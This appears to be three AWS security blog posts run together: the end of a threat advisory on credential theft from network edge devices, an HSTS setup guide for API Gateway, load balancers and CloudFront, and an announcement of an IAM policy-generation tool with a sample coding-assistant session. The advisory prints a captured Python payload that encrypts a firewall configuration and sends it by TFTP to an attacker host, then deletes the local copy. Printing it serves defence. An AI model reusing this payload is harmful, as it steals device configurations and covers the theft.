• Audit all network edge devices for unexpected packet capture files or utilities.
• Review device configurations for exposed management interfaces.
• Implement network segmentation to isolate management interfaces.
• Enforce strong authentication (eliminate default credentials, implement MFA).

2. Credential replay detection

• Review authentication logs for credential reuse between network device management interfaces and online services.
• Monitor for authentication attempts from unexpected geographic locations.
• Implement anomaly detection for authentication patterns across your organization’s online services.
• Review extended time windows following any suspected device compromise for delayed credential replay attempts.

3. Access monitoring

• Monitor for interactive sessions to router/appliance administration portals from unexpected source IPs.
• Examine whether network device management interfaces are inadvertently exposed to the internet.
• Audit for plain text protocol usage (Telnet, HTTP, unencrypted SNMP) that could expose credentials.

4. IOC review
Energy sector organizations and critical infrastructure operators should prioritize reviewing access logs for authentication attempts from the IOCs listed below.

For AWS environments, implement these protective measures:

Identity and access management:

• Manage access to AWS resources and APIs using identity federation with an identity provider and IAM roles whenever possible.
• For more information, see Creating IAM policies in the IAM User Guide.

Network security:

• Implement the least permissive rules for your security groups.
• Isolate management interfaces in private subnets with bastion host access.
• Enable VPC Flow Logs for network traffic analysis.

Vulnerability management:

• Use Amazon Inspector to automatically discover and scan Amazon EC2 instances for software vulnerabilities and unintended network exposure.
• For more information, see the Amazon Inspector User Guide.
• Regularly patch, update, and secure the operating system and applications on your instances.

Detection and monitoring:

• Enable AWS CloudTrail for API activity monitoring.
• Configure Amazon GuardDuty for threat detection.
• Review authentication logs for credential replay patterns.

Indicators of Compromise (IOCs)

Note: All identified IPs are compromised legitimate servers that may serve multiple purposes for the actor or continue legitimate operations. Organizations should investigate context around any matches rather than automatically blocking. We observed these IPs specifically accessing router management interfaces and attempting authentication to online services during the timeframes listed.

The following payload was captured by Amazon MadPot during the 2022 WatchGuard exploitation campaign:

from cryptography.fernet import Fernet
import subprocess
import os

key = ‘uVrZfUGeecCBHhFmn1Zu6ctIQTwkFiW4LGCmVcd6Yrk='

with open('/etc/wg/config.xml’, ‘rb’) as config_file:
buf = config_file.read()

fernet = Fernet(key)
enc_buf = fernet.encrypt(buf)

with open('/tmp/enc_config.xml’, ‘wb’) as encrypted_config:
encrypted_config.write(enc_buf)

subprocess.check_output([‘tftp’, '-p’, '-l’, '/tmp/enc_config.xml’, '-r’,
'[REDACTED].bin’, ‘103.11.190[.]99'])
os.remove('/tmp/enc_config.xml’)

This payload demonstrates the actor’s methodology: encrypt stolen configuration data, exfiltrate via TFTP to compromised staging infrastructure, and remove forensic evidence.

Modern web applications built on Amazon Web Services (AWS) often span multiple services to deliver scalable, performant solutions. However, customers encounter challenges when implementing a cohesive HTTP Strict Transport Security (HSTS) strategy across these distributed architectures.

Customers face fragmented security implementation challenges because different AWS services require distinct approaches to HSTS configuration, leading to inconsistent security postures.Applications using Amazon API Gateway for APIs, Amazon CloudFront for content delivery, and Application load balancers for web traffic lack unified HSTS policies, leading to complex multi-service environments. Security scanners flag missing HSTS headers, but remediation guidance is scattered across service-specific documentation, causing security compliance gaps.

HSTS is a web security policy mechanism that protects websites against protocol downgrade attacks and cookie hijacking. When properly implemented, HSTS instructs browsers to interact with applications exclusively through HTTPS connections, providing critical protection against man-in-the-middle issues.

This post provides a comprehensive approach to implementing HSTS across key AWS services that form the foundation of modern cloud applications:

1. Amazon API Gateway: Secure REST and HTTP APIs with centralized header management
2. Application Load Balancer: Infrastructure-level HSTS enforcement for web applications
3. Amazon CloudFront: Edge-based security header delivery for global content

By following the implementation steps in this post, you can establish a unified HSTS strategy that aligns with AWS Well-Architected Framework security principles while maintaining optimal application performance.

HTTP Strict Transport Security is a web security policy mechanism that helps protect websites against protocol downgrade attacks and cookie hijacking. When a web server declares HSTS policy through the Strict-Transport-Security header, compliant browsers automatically convert HTTP requests to HTTPS for the specified domain. This enforcement occurs at the browser level, providing protection even before the initial request reaches your infrastructure.

HSTS enforcement applies specifically to web browser clients. Most programmatic clients (such as SDKs, command line tools, or application-to-application communication) don’t enforce HSTS policies. For comprehensive security, configure your applications and infrastructure to only use HTTPS connections regardless of client type rather than relying solely on HSTS for protocol enforcement.

HTTP to HTTPS redirection enforcement on the server ensures future requests reach your applications over encrypted connections. However, it leaves a security gap during the initial browser request. Understanding this gap helps explain why client-side HSTS serves as an essential security layer in modern web applications.

For example, when users access web applications, the typical flow with redirects configured is as follows:

1. User enters example.com in their browser.
2. Browser sends an HTTP request to http://example.com.
3. Server responds with HTTP 301/302 redirect to https://example.com.
4. Browser follows redirection and establishes HTTPS connection

The initial HTTP request in step 2 creates an opportunity for protocol downgrade issues. An unauthorized party positioned between the user and your infrastructure can intercept this request and respond with content that appears legitimate while maintaining an insecure connection. This technique, known as SSL stripping, can occur even when your server-side AWS infrastructure is properly configured with HTTPS redirects.

HSTS addresses this security gap by moving security enforcement to the browser level. After a browser receives an HSTS policy, it automatically converts HTTP requests to HTTPS before sending them over the network:

1. User enters example.com in browser.
2. Browser automatically converts to HTTPS due to stored HSTS policy.
3. Browser sends HTTPS request directly to https://example.com.
4. No initial HTTP request removes the opportunity for interception.

This browser-level enforcement provides protection that complements your AWS infrastructure security configurations, creating defense in depth against protocol downgrade issues.

Although current browsers warn about insecure connections, HSTS provides programmatic enforcement. This prevents unauthorized parties from exploiting the security gap because they can’t forge valid HTTPS certificates for protected domains.

The security benefits of HSTS extend beyond simple protocol enforcement. HSTS helps prevent protocol downgrade issues after HSTS policy is established in the browser. It mitigates against man-in-the-middle issues, preventing unauthorized parties from intercepting communications. It also helps prevent unauthorized session access to protect against credential theft and unintended session access.
HSTS requires HTTPS connections and removes the option to bypass certificate warnings.

This post focuses exclusively on implementing the HTTP Strict-Transport-Security header. Although the examples include additional security headers for completeness, detailed configuration of those headers is beyond the scope of this post.

HSTS protects scenarios that HTTP redirects miss. For example, when legacy systems serve mixed content, or when SSO flows redirect users between providers, HSTS keeps connections encrypted throughout.

Applications serving both modern HTTPS content and legacy HTTP resources face protocol downgrade risks. When users access example.com/app that loads resources from legacy.example.com, HSTS prevents browsers from making initial HTTP requests to any subdomain, eliminating the vulnerability window during resource loading.

SSO implementations redirecting users between identity providers and applications create multiple HTTP request opportunities. Due to HSTS, authentication tokens and session data remain encrypted throughout the entire SSO flow, preventing credential interception during provider redirects.

Microservices architectures using API Gateway often involve service-to-service communication and client redirects. HSTS protects API endpoints from protocol downgrade during initial client connections, which means that API keys and authentication headers are not transmitted over HTTP.

Applications using CloudFront with multiple origin servers face security challenges when origins change or fail over. HSTS prevents browsers from falling back to HTTP when accessing cached content or during origin failover scenarios, maintaining encryption even during infrastructure changes.

From an AWS Well-Architected perspective, implementing HSTS demonstrates adherence to the defense in depth principle by adding an additional layer of security at the application protocol level. This approach complements other AWS security services and features, creating a comprehensive security posture that helps to protect data both in transit and at rest.

Amazon API Gateway lacks built-in features to enable HSTS for the API resources. There are several different ways to configure HSTS headers in HTTP APIs and REST APIs.
For HTTP APIs, you can configure response parameter mapping to set HSTS headers when it’s invoked using a default endpoint or custom domain.

To configure response parameter mapping:

1. Navigate to your desired HTTP API’s route configuration in the AWS API Gateway console
2. Access the route’s integration settings under Manage integrations tab.

Figure 1: Integration settings of the HTTP Api

3. To configure parameter mapping, under Response key, enter 200.
4. Under Modification type, select Append in the dropdown menu.
5. Under “Parameter to modify”, enter header.Strict-Transport-Security
6. Under Value, enter max-age=31536000; includeSubDomains; preload.

Figure 2: Parameter Mapping for the HTTP Api integration

REST APIs in Amazon API Gateway offer more granular control over HSTS implementation through both proxy and non-proxy integration patterns.

For proxy integrations, the backend service assumes responsibility for HSTS header generation. For example, an AWS Lambda proxy integration must return the HSTS headers in its response as shown in the following code example:

import json 
def lambda_handler(event, context):     
	return {         
        'statusCode': 200,         
        'headers': {             
            'Strict-Transport-Security': 'max-age=31536000; includeSubDomains; preload'         
        },         
        'body': json.dumps('Secure response with HSTS headers')     
    }

For non-proxy integrations, the HSTS headers must be returned by the Rest API by implementing one of two methods, either mapping templates or method response.

In the mapping templates method, the mapping template is used to configure the HSTS headers. The Velocity Template Language (VTL) for the mapping template is used for dynamic header generation. To implement this method:

1. Navigate to the desired REST API and click on the method for the desired resource.
2. Under the ‘Integration response’ tab, use the following mapping template to set the response headers:

$input.json("$") 
#set($newValue = "$input.params().header.get('Host')") 
#set($context.responseOverride.header.Strict-Transport-Security 
= "max-age=31536000; includeSubDomains; preload")

Figure 3: Adding mapping template to integration response of the Rest Api

The ‘Method response’ tab provides declarative configuration through explicit header mapping in the configuration. To implement this method:

1. Navigate to your desired REST API and select the method for the desired resource.
2. Choose Method response and under Header name, add the HSTS header strict-transport-security.

Figure 4: Method response of the Rest Api

3. Choose Integration response and under Header mappings, enter the HSTS header strict-transport-security. Add the Mapping value for the header as max-age=31536000; includeSubDomains; preload.

Figure 5: Integration response of the Rest Api

To test and validate, use the following command:

Verify HSTS implementation for both HTTP API and REST API using curl with response headers logged:

curl -i https://your-api-gateway-url.execute-
api.region.amazonaws.com/stage/resource

The expected response should include:

HTTP/2 200 

date: Tue, 20 Sep 2025 16:34:35 GMT 
content-type: application/json 
content-length: 3 
x-amzn-requestid: 76543210-9aaa-4bbb-accc-987654321012
strict-transport-security: max-age=31536000; includeSubDomains; preload 
x-amz-apigw-id: ABCDEFGHIJKLMNO

Application Load Balancers now provide built-in support for HTTP response header modification, including HSTS headers. This lets you enforce consistent security policies across all your services from a single point, reducing development effort and ensuring uniform protection regardless of which backend technologies you’re using.

Before implementing HSTS with load balancers, ensure your infrastructure meets these requirements:

• Functional HTTPS listener – The ALB listener must be configured with HTTPS correctly.
• Valid certificates – The ALB listener must have proper TLS certificate chain in AWS Certificate Manager and validation.
• Application Load Balancer – The header modification feature for the ALB must be enabled for the listener since it is turned off by default.

Application Load Balancers support direct HSTS header injection through the response header modification feature. This approach provides centralized security policy enforcement without requiring individual application configuration.

To enable HTTP header modification for your Application Load Balancer:

1. Open the Amazon Elastic Compute Cloud (Amazon EC2) console and navigate to Load Balancers.
2. Select your Application Load Balancer.
3. On the Listeners and rules tab, select the HTTPS listener.
4. On the Attributes tab, choose Edit.
   
   

   Figure 6: ALB HTTPS listener Attributes configuration

5. Expand the Add response headers section.
6. Select Add HTTP Strict Transport Security (HSTS) header.
7. To configure the header value, enter max-age=31536000; includeSubDomains; preload.
8. Choose Save changes.

Figure 7: Add response headers in attributes configuration of the ALB HTTPS listener

When ALB header modification is enabled:

• Header addition – If the backend response doesn’t include the specified header, ALB adds it with the configured value
• Header override – If the backend response includes the header, ALB replaces the existing value with the configured value
• Centralized control – Responses from the load balancer include the configured security headers, ensuring consistent policy enforcement

To test and validate, use the following command:
curl -I https://my-loadbalancer-1234567890.us-west-2.elb.amazonaws.com

The following code example shows the expected response headers:

HTTP/2 200
date: Tue, 23 Sep 2025 16:34:35 GMT
strict-transport-security: max-age=31536000; includeSubDomains; preload

Header value constraints:

• Maximum header value size – 1 KB
• Supported characters – Alphanumeric (a-z, A-Z, 0-9) and special characters (_ :;.,/’?!(){}[]@<>=-+*#&`|~^%)
• Empty values revert to default behavior (no header modification)

When implementing header modifications, there are several operational considerations to keep in mind. Header modification must be explicitly enabled on each listener where you want the functionality to work. Once enabled, any changes you configure will apply to all responses that come from the load balancer, affecting every request processed through that listener. Application Load Balancer performs basic input validation on the headers you configure, but it has limited capability for header-specific validation, so you should ensure your header configurations follow proper formatting and standards.

This built-in Application Load Balancer capability significantly simplifies HSTS implementation by eliminating the need for backend application modifications while providing centralized security policy enforcement across your entire application infrastructure.

Amazon CloudFront provides built-in support for HTTP security headers, including HSTS, through response headers policies. This feature enables centralized security header management at the CDN edge, providing consistent policy enforcement across cached and non-cached content.

You can use the CloudFront response headers policy feature to configure security headers that are automatically added to responses served by your distribution. You can use managed response headers policies that include predefined values for the most common HTTP security headers. Or, you can create a custom response header policy with custom security headers and values that you can add to the required CloudFront behavior.

To configure security headers:

1. On the CloudFront console, navigate to Policies and then Response headers.
2. Choose Create response headers policy.
3. Configure policy settings:
   • Name – HSTS-Security-Policy
   • Description – HSTS and security headers for web applications
4. Under Security headers, configure:
   • Strict Transport Security – Select
   • Max age – 31,536,000 seconds (1 year)
   • Preload – Select (optional)
   • IncludeSubDomains – Select (optional)

5. Add additional security headers:

   • X-Content-Type-Options
   • X-Frame-Options – Select Origin as “SAMEORIGIN”
   • Referrer-Policy – Select “strict-origin-when-cross-origin”
   • X-XSS-Protection – Select “Enabled”, Tick “Block”
   • Choose Create.

Figure 8: Configuring response header policy for the Cloudfront distribution

To attach the policy to the distribution:

1. Navigate to your CloudFront distribution.
2. Select the Behaviors tab.
3. Edit the default behavior (or create a new one).
4. Under Response headers policy, select your created policy.
5. Choose Save changes.

Figure 9: Selecting the response headers policy

Header override behavior:
CloudFront response headers policies provide origin override functionality that controls how headers are managed between the origin and CloudFront. When origin override is enabled, CloudFront will replace existing headers that come from the origin server. Conversely, when origin override is disabled, CloudFront will only add the policy-defined headers if those same headers are not already present in the origin response, preserving the original headers from the source.

To test and validate, use the following command:

curl -I https://your-cloudfront-domain.cloudfront.net

The following code example shows the expected response headers:

HTTP/2 200 
date: Tue, 23 Sep 2025 16:34:35 GMT 
strict-transport-security: max-age=31536000; includeSubDomains; preload 
x-content-type-options: nosniff 
x-frame-options: SAMEORIGIN 
referrer-policy: strict-origin-when-cross-origin 
x-xss-protection: 1; mode=block 
x-cache: Hit from cloudfront

Using CloudFront has several advantages. It offers consistent header application across all content types and centralized security policy management. Edge-level enforcement reduces latency, and no origin server modifications are required. AWS edge locations offer global policy distribution.

Implementing HSTS requires careful consideration of several security implications and operational requirements.

The max-age directive determines how long browsers will enforce HTTPS-only access. The duration guidelines are as follows:

• 300 seconds (5 minutes) – Safe for experimentation during initial testing phase.
• 86,400 seconds (1 day) – For short-term commitment such as development environments.
• 259,2000 seconds (30 days) – For medium-term validation such as staging environments.
• 31,536,000 seconds (1 year) – For long-term commitment such as production environments.

We recommend that you start with shorter max-age values during initial implementation and gradually increase them as you gain confidence in your HTTPS infrastructure stability.

The includeSubDomains directive extends HSTS enforcement to all subdomains. It offers several benefits, including comprehensive protection across the entire domain hierarchy, prevention of subdomain-based attacks, and simplified security policy management.

Requirements for using this directive include:

• Subdomains should support HTTPS to use this directive effectively.
• Subdomains should have valid SSL certificates.
• You must maintain a consistent security policy across domain hierarchy.

Consider implementing HSTS preloading for maximum security coverage:

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Preloading benefits include protection for first-time visitors, browser-level enforcement before network requests, and maximizing security coverage.

The following are some preloading considerations:

• It requires submission to browser preload lists.
• It’s difficult to reverse because removal takes months.
• It requires long-term commitment to HTTPS infrastructure.

For more information, see:

• AWS Well-Architected Framework Security Pillar
• Amazon API Gateway Developer Guide
• Application Load Balancer User Guide
• Amazon CloudFront Developer Guide

Implementing HSTS across AWS services provides a robust foundation for securing web applications against protocol downgrade attacks and enabling encrypted communications. By using the built-in capabilities of API Gateway, CloudFront, and Application Load Balancers, organizations can create comprehensive security policies that align with AWS Well-Architected Framework principles.

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Today, we’re excited to announce IAM Policy Autopilot, an open-source static analysis tool that helps your AI coding assistants quickly create baseline AWS Identity and Access Management (IAM) policies that you can review and refine as your application evolves. IAM Policy Autopilot is available as a command-line tool and Model Context Protocol (MCP) server, and it analyzes application code locally to create identity-based policies to control access for application roles. By adopting IAM Policy Autopilot, builders focus on writing application code, accelerating development on Amazon Web Service (AWS) and saving time spent on writing IAM policies and troubleshooting access issues.

Builders developing on AWS want to accelerate development and deliver value faster to their businesses, and they are increasingly using AI coding assistants like Kiro, Claude Code, Cursor, and Cline to do so. There are three aspects related to IAM permissions where builders can use some help. First, builders might want to focus on developing applications instead of spending time understanding permissions, writing IAM policies, or troubleshooting permission-related errors. Second, AI coding assistants, while excelling at generating application code, struggle with the nuances of IAM and need tools to help them produce reliable policies that capture complex cross-service permission requirements. Third, both builders and their AI assistants need to stay current with the latest IAM requirements and integration approaches without going through AWS documentation manually, ideally through a single tool that stays up-to-date with IAM expertise.

IAM Policy Autopilot addresses these challenges in three ways. First, it performs deterministic code analysis of your application, generating the necessary identity-based IAM policies based on actual AWS SDK calls in your codebase. This speeds up the initial policy creation process and reduces troubleshooting time. Second, IAM Policy Autopilot provides AI coding assistants with accurate, reliable IAM configurations through the MCP, preventing AI hallucinations that often lead to policy errors and verifying that generated policies are syntactically correct and valid. Third, IAM Policy Autopilot stays current with the expanding AWS service catalog by regularly updating its expertise with new services, permissions, and integration patterns, so both builders and their AI assistants have access to current IAM requirements without manual research.

This post demonstrates IAM Policy Autopilot in action, showing how it analyzes your code to generate IAM identity-based policies during development. You’ll see how IAM Policy Autopilot seamlessly integrates with AI coding assistants to create the necessary baseline policies during deployment, and how builders can also use IAM Policy Autopilot directly through its command line interface (CLI) tool. We’ll also provide guidance on best practices and considerations for incorporating IAM Policy Autopilot into your development workflow. You can set up IAM Policy Autopilot by visiting the GitHub repository.

IAM Policy Autopilot analyzes application code and generates identity-based IAM policies based on AWS SDK calls in your application. During testing, if permissions are still missing, IAM Policy Autopilot detects these errors and adds the necessary policies to get you unblocked. IAM Policy Autopilot supports applications that are written in three languages: Python, Go, and Typescript.

The core capability of IAM Policy Autopilot is deterministic code analysis that generates IAM identity-based policies with consistent, reliable results. On top of SDK-to-IAM mappings, IAM Policy Autopilot understands complex dependency relationships across AWS services. To call s3.putObject(), IAM Policy Autopilot generates not only the Amazon Simple Storage Service (Amazon S3) permission (s3:PutObject) but also includes AWS Key Management Server (AWS KMS) permission (kms:GenerateDataKey) that might be required for encryption scenarios. IAM Policy Autopilot understands cross-service dependencies and common usage patterns, and intentionally adds these permissions related to the PutObject API in this initial pass, so that your application can function correctly regardless of encryption configuration from the first deployment.

After permissions are created, if you still encounter Access Denied errors during testing, IAM Policy Autopilot detects these errors and provides instant troubleshooting. When enabled, the AI coding assistant invokes IAM Policy Autopilot to analyze the denial and propose targeted IAM policy fixes. After you review and approve the analysis and suggested changes, IAM Policy Autopilot updates the permissions.

IAM Policy Autopilot operates in two modes to fit different development workflows. As an MCP server, it integrates with MCP-compatible coding assistants, including Kiro, Amazon Q Developer, Cursor, Cline, and Claude Code. You can also use IAM Policy Autopilot as a standalone CLI tool to generate policies directly or fix missing permissions. Both approaches provide the same policy creation and troubleshooting capabilities, so you can choose the integration that best fits your workflow.

This walkthrough demonstrates the MCP server capabilities of IAM Policy Autopilot through a practical example: creating a file upload application that stores documents in Amazon S3 with server-side encryption using a customer-managed KMS key. This demonstration uses Cline, though IAM Policy Autopilot works with MCP-compatible coding assistants.

You can install IAM Policy Autopilot using uv or pip. The simplest method is with uv by running uvx iam-policy-autopilot, and configure the MCP server in your MCP client configuration file as follows. Note that MCP configuration would be different if you install IAM Policy Autopilot using pip.

{
	"mcpServers": {
	  "iam-policy-autopilot": {
		"command": "uvx",
		"args': ["iam-policy-autopilot", "mcp-server"],
		"env": {
		   "AWS_PROFILE": "your-profile-name",
		   "AWS_REGION": "us-east-1"
		}
     	"disabled": false,
		"autoApprove": []
	  }
   }
}

In this section, we walk you through creating an application from scratch. We demonstrate the interaction between the developer, Cline, and IAM Policy Autopilot to showcase how you provide guidance to Cline and how Cline invokes IAM Policy Autopilot behind the scenes to generate IAM policies and deploy your application.

1. The builder describes their requirements
User: I need to create a Lambda function for uploading files to S3. The files should be encrypted using a customer-managed KMS key. Can you help me build this?

2. Cline starts planning the solution
Cline: I’ll help you create a secure file upload Lambda function. Let me break this down:

1. Create a Lambda function to handle file uploads
2. Set up S3 integration with customer-managed KMS encryption
3. Create the necessary IAM permissions
4. Build the infrastructure using CDK
   Let me start by writing the Lambda function code.

3. Cline writes the AWS Lambda function code
Cline will also prompt for credential inputs required for deployment, such as partition, AWS Region, and AWS account ID.

Cline then creates the uploadHandler.js file:

const { S3Client, PutObjectCommand } = require('@aws-sdk/client-s3');

const s3Client = new S3Client({ region: 'us-west-2' });

exports.handler = async (event) => {
	const { fileName, fileContent } = JSON.parse(event.body);

	const putObjectParams = {
		Bucket: process.env.BUCKET_NAME,
		Key: fileName,
		Body: fileContent,
		ServerSideEncryption: 'aws:kms',
		SSEKMSKeyId: process.env.KMS_KEY_ID
	};

	try {
		await s3Client.send(new PutObjectCommand(putObjectParams));
		return {
			statusCode: 200,
			body: JSON.stringify({ message: 'File uploaded successfully' })
		};
	} catch (error) {
		return {
			statusCode: 500,
			body: JSON.stringify({ error: error.message })
		};
	}
};

4. Cline needs to create IAM policies and will discover IAM Policy Autopilot
Cline: Now I need to create the IAM role with the correct permissions for this Lambda function. Let me check what tools are available to help with IAM policy creation.

Cline discovers the IAM Policy Autopilot MCP server has policy creation capabilities and invokes it:

Request Type: CallToolRequest
	Method: CallToolRequestMethod
	Params:
		Name: "generate_application_policies"
		Arguments:
			account: "123456789012"
			partition: "aws"
			region: "us-west-2"
			source_files: [
				"/Users/user/workspace/uploadHandler.js"
			]
		Extensions: Extensions

5. IAM Policy Autopilot analyzes the code and generates the policy
IAM Policy Autopilot scans the code and identifies PutObjectCommand in the application code, which it recognizes to be an Amazon S3 API call. Based on typical usage patterns of AWS customers, IAM Policy Autopilot also suggests encryption permissions and CloudWatch log permissions.

IAM Policy Autopilot generates an IAM identity policy that includes permissions potentially needed for Amazon S3 PutObject, including AWS KMS permissions that might be required for encryption scenarios:

{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Effect": "Allow",
			"Action": [
				"s3:PutObject"
			],
			"Resource": "arn:aws:s3:::*/*"
		},
		{
			"Effect": "Allow",
			"Action": [
				"kms:Encrypt",
				"kms:GenerateDataKey"
			],
			"Resource": "arn:aws:kms:us-west-2:123456789012:key/*"
		},
		{
			"Effect": "Allow",
			"Action": [
				"logs:CreateLogGroup",
				"logs:CreateLogStream",
				"logs:PutLogEvents"
			],
			"Resource": "arn:aws:logs:us-west-2:123456789012:*"
		}
	]
}

6. Cline creates the complete CloudFormation infrastructure
Cline: Perfect! IAM Policy Autopilot generated comprehensive permissions for your Lambda function including S3 PutObject permissions, KMS permissions for potential encryption scenarios, and CloudWatch Logs permissions for function execution. I’ll now create the complete CloudFormation template.

Cline generates the AWS CloudFormation template with the permissions provided by IAM Policy Autopilot:

AWSTemplateFormatVersion: "2010-09-09"
Resources:
	UploadEncryptionKey:
		Type: AWS::KMS::Key
		Properties:
			KeyPolicy:
				Statement:
					Effect: Allow
					Principal:
						AWS: !Sub "arn:aws:iam::123456789012:root"
					Action: "kms:*"
					Resource: "*"

	SecureUploadBucket:
		Type: AWS::S3::Bucket

	UploadLambdaRole:
		Type: AWS::IAM::Role
		Properties:
			AssumeRolePolicyDocument:
				Version: "2012-10-17"
				Statement:
				Effect: Allow
				Principal:
					Service: lambda.amazonaws.com
				Action: sts:AssumeRole
			Policies:
			- PolicyName: UploadPolicy
				PolicyDocument:
					Version: "2012-10-17"
					Statement:
					- Effect: Allow
						Action:
						- s3:PutObject
						Resource: !Sub "${SecureUploadBucket}/*"
						- Effect: Allow
						Action:
						- kms:Encrypt
						- kms:GenerateDataKey
						Resource: !GetAtt UploadEncryptionKey.Arn
						- Effect: Allow
						Action:
							- logs:CreateLogGroup
							- logs:CreateLogStream
							- logs:PutLogEvents
						Resource: "arn:aws:logs:*:*:*"

	UploadHandler:
		Type: AWS::Lambda::Function
		Properties:
			Runtime: nodejs18.x
			Handler: uploadHandler.handler
			Code:
				ZipFile: |
					// Lambda function code would be deployed separately
			Role: !GetAtt UploadLambdaRole.Arn
			Environment:
				Variables:
					BUCKET_NAME: !Ref SecureUploadBucket
					KMS_KEY_ID: !Ref UploadEncryptionKey

This demonstrates how IAM Policy Autopilot seamlessly integrates into the development workflow, providing the coding assistant with current and accurate IAM configurations when invoked, while requiring minimum user intervention.

In this example, you’re passing a single file to IAM Policy Autopilot to analyze, but it can take in multiple files when conducting static code analysis and creating IAM policies.

If you prefer direct command-line interaction, the CLI provides the same analysis capabilities without requiring an AI coding assistant.

1. Builder has existing code and needs policies
In this example, you have the same uploadHandler.js file and want to generate identity-based IAM policies for deployment:
$ iam-policy-autopilot generate-policy --region us-west-2 --account 123456789012 --pretty Users/user/workspace/uploadHandler.js

2. IAM Policy Autopilot analyzes and outputs the policy

{
	"Version": "2012-10-17",
	"Statement": [
		{
			"Effect": "Allow",
			"Action": [
				"s3:PutObject"
			],
			"Resource": "arn:aws:s3:::*/*"
		},
		{
			"Effect": "Allow",
			"Action": [
				"kms:Encrypt",
				"kms:GenerateDataKey"
			],
			"Resource": "arn:aws:kms:us-west-2:123456789012:key/*"
		},
		{
			"Effect": "Allow",
			"Action": [
				"logs:CreateLogGroup",
				"logs:CreateLogStream",
				"logs:PutLogEvents"
			],
			"Resource": "arn:aws:logs:us-west-2:123456789012:*"
		}
	]
}

3. Builder uses the generated policy
You can now copy this policy directly into your CloudFormation template, AWS Cloud Development Kit (AWS CDK) stack, or Terraform configuration.

This CLI approach provides the same code analysis and cross-service permission detection as the MCP server but fits naturally into command-line workflows and automated deployment pipelines.

When using IAM Policy Autopilot in your development workflow, following these practices will help you maximize its benefits while maintaining security best practices.

IAM Policy Autopilot generates policies that prioritize functionality over minimal permissions, helping your applications run successfully from the first deployment. These policies provide a starting point that you can refine as your application matures. Review the generated policies so that they align with your security requirements before deploying them.

IAM Policy Autopilot excels at identifying direct AWS SDK calls in your code, providing comprehensive policy coverage for most development scenarios, but has some limitations to keep in mind. For example, if your code calls s3.getObject(bucketName) where bucketName is determined at runtime, IAM Policy Autopilot currently doesn’t predict which bucket will be accessed. For applications using third-party libraries that wrap AWS SDKs, you might need to supplement the analysis produced by IAM Policy Autopilot with manual policy review. Currently, IAM Policy Autopilot focuses on identity-based policies for IAM roles and users but does not create resource-based policies such as S3 bucket policies or KMS key policies.

IAM Policy Autopilot works best as part of a comprehensive IAM strategy. Use IAM Policy Autopilot to generate functional policies quickly, then use other AWS tools for ongoing refinement. For example, AWS IAM Access Analyzer can help identify unused permissions over time. This combination creates a workflow from rapid deployment to least-privilege optimization.

IAM Policy Autopilot generates policies with specific actions based on deterministic analysis of your code. When you use the MCP server integration, your AI coding assistant receives this policy and might modify it when creating infrastructure-as-code templates. For example, you might see the assistant add specific resource Amazon Resource Names (ARNs) or include KMS key IDs based on additional context from your code. These changes come from your coding assistant’s interpretation of your broader code context, not from the static analysis provided by IAM Policy Autopilot. Always review content generated by your coding assistant before deployment to verify that it meets your security requirements.

Use the MCP server integration when working with AI coding assistants for seamless policy creation during development conversations. The CLI tool works well for batch processing or when you prefer direct command-line interaction. Both approaches provide the same analysis capabilities, so choose based on your development workflow preferences.

IAM Policy Autopilot transforms IAM policy management from a development challenge into an automated capability that works seamlessly within existing workflows. By using the deterministic code analysis and policy creation capabilities of IAM Policy Autopilot, builders can focus on creating applications knowing they have the necessary permissions to run successfully on AWS.

Whether you prefer working with AI coding assistants through the MCP server integration or using the direct CLI approach, IAM Policy Autopilot provides the same analysis capabilities. The tool identifies common cross-service dependencies such as S3 operations with AWS KMS encryption, generates syntactically correct policies, and stays current with the expanding catalog of services provided by AWS, reducing the burden on both builders and their AI assistants.

Rather than requiring builders to become IAM experts or struggle with cryptic permission errors, IAM Policy Autopilot makes AWS development more accessible and efficient. The result is faster deployment cycles, fewer permission-related failures, and more time spent on creating business value instead of debugging access issues.

Ready to reduce IAM friction in your development workflow? IAM Policy Autopilot is available now at no additional cost. Get started with IAM Policy Autopilot by downloading it from the GitHub repository and experience how automated policy creation can accelerate your AWS development. We welcome your feedback and contributions as we continue to expand the capabilities and coverage of IAM Policy Autopilot.

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